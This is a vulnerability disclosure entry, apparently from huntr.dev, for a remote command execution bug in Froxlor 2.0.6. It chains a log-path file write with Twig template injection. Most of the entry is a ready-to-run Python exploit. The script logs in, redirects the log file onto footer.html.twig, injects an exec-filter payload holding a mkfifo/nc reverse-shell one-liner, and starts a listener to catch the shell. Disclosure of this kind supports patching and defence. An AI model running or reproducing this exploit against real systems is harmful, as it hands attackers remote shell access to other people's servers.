Lucene search

K
huntrMhaskarFF4E177B-BA48-4913-BBFA-AB8CE0DB5943
HistoryJan 11, 2023 - 1:34 a.m.

Froxlor 2.0.6 Remote Command Execution via Arbitrary File Write and Server Side Template Injection

2023-01-1101:34:30
mhaskar
www.huntr.dev
12
froxlor 2.0.6
remote command execution
arbitrary file write
server side template injection
vulnerability
logging
twig template
ubuntu 20.04
php 8.2

0.54 Medium

EPSS

Percentile

97.6%

Description

Froxlor 2.0.6 Stable is suffering from Remote Command Execution that was achieved by chaining two bugs, the first one is an arbitrary file write on the logging feature, which allows an authenticated attacker to point the log file to any writable path even if it was the web server document root itself, which can lead to overwriting a malicious twig template file under the default templates/Froxlor/ templates path.

The malicious template file will be rendered later on and execute the malicious payload.

When the attacker enables the logging on the server and allows the log file type, the attacker can log a lot of actions to that file, one of the actions that can be logged to that malicious file is when the admin user changes his theme for example, and the attacker can change the theme name to a custom Twigtemplate code that will be written to an existed Twig template file, such as footer.html.twig.

After that, the attacker will navigate to any page that will be rendering footer.html.twig and once it’s requested, the malicious code will be executed.

One of the examples of the malicious twig templates is {{['id']|filter('exec')}}, this will execute the command id by calling the function exec and passing the value id to it.

The exploit code worked under freshly installed Froxlor running within Ubuntu 20.04 and php8.2.

Proof of Concept

#!/usr/bin/python3

# Exploit Title: Froxlor 2.0.6 - Remote Code Execution
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: N/A
# Vendor Homepage: https://froxlor.org/
# Version: v2.0.6
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
from threading import Thread

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./froxlor-rce.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()

def login():
    login_info = {
    "loginname": username,
    "password": password,
    "send": "send",
    "dologin": ""
    }
    login_request = request.post(url+"/index.php", login_info, allow_redirects=False)
    login_headers = login_request.headers
    location_header = login_headers["Location"]
    if location_header == "admin_index.php":
        return True
    else:
        return False


def change_log_path():
    change_log_path_url = url + "/admin_settings.php?page=overview&part=logging"
    csrf_token_req = request.get(change_log_path_url)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    print("[+] Main CSRF token retrieved %s" % csrf_token)

    multipart_data = {

        "logger_enabled": (None, "0"),
        "logger_enabled": (None, "1"),
        "logger_severity": (None, "2"),
        "logger_logtypes[]": (None, "file"),
        "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/footer.html.twig"),
        "logger_log_cron": (None, "0"),
        "csrf_token": (None, csrf_token),
        "page": (None, "overview"),
        "action": (None, ""),
        "send": (None, "send")
    
    }
    req = request.post(change_log_path_url, files=multipart_data)
    response = req.text
    if "The settings have been successfully saved." in response:
        print("[+] Changed log file path!")
        return True
    else:
        return False


def inject_template():
    admin_page_path = url + "/admin_index.php"
    csrf_token_req = request.get(admin_page_path)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    onliner = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f".format(ip, port)
    payload = "{{['%s']|filter('exec')}}" % onliner
    data = {
        "theme": payload,
        "csrf_token": csrf_token,
        "page": "change_theme",
        "send": "send",
        "dosave": "",
    }
    req = request.post(admin_page_path, data, allow_redirects=False)
    try:
        location_header = req.headers["Location"]
        if location_header == "admin_index.php":
            print("[+] Injected the payload sucessfully!")
    except:
        print("[-] Can't Inject payload :/")
        exit()
    handler_thread = Thread(target=connection_handler, args=(port,))
    handler_thread.start()
    print("[+] Triggering the payload ...")
    req2 = request.get(admin_page_path)


def connection_handler(port):
    print("[+] Listener started on port %s" % port)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection received from %s" % addr[0])
    t.sock = conn
    print("[+] Heads up, incoming shell!!")
    t.interact()



if login():
    print("[+] Successfully Logged in!")
    index_url = url + "/admin_index.php"
    request.get(index_url)
    if change_log_path():
        inject_template()

else:
    print("[-] Can't login")

0.54 Medium

EPSS

Percentile

97.6%